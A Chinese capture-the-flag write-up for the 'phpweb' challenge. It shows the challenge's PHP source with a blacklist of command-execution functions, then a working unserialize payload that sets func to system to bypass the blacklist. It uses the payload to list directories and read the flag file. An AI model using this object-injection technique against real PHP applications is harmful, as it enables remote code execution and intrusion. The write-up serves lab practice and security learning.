[BUUOJ记录] [网鼎杯 2020 朱雀组] phpweb

进入题目在源代码看到两个传参：

一个是函数名，一个是参数，猜测后端应该是一个call_user_func()，post请求：func=file_get_contents&p=index.php
得到index.php的源码：

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到call_user_func()在gettime()方法中，但是如果直接通过传参来执行语句会经过黑名单过滤，黑名单过滤了很多命令执行和文件读取函数。
再认真看代码发现有一个Test类，同样也可以调用gettime()方法，而且不经过黑名单检测，所以我们可以利用反序列化来触发__destruct中的gettime()方法从而实现RCE。
构造：

<?php
    class Test {
        var $p = "ls /";
        var $func = "system";
    }
    $o = new Test;
    echo urlencode(serialize($o));
//O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

然后触发反序列化：index.php?func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

成功RCE，然后寻找一下flag文件：find / -name 'flag*'
在/tmp下找到flag文件：

再执行：cat /tmp/flagoefiu4r93即可获得flag：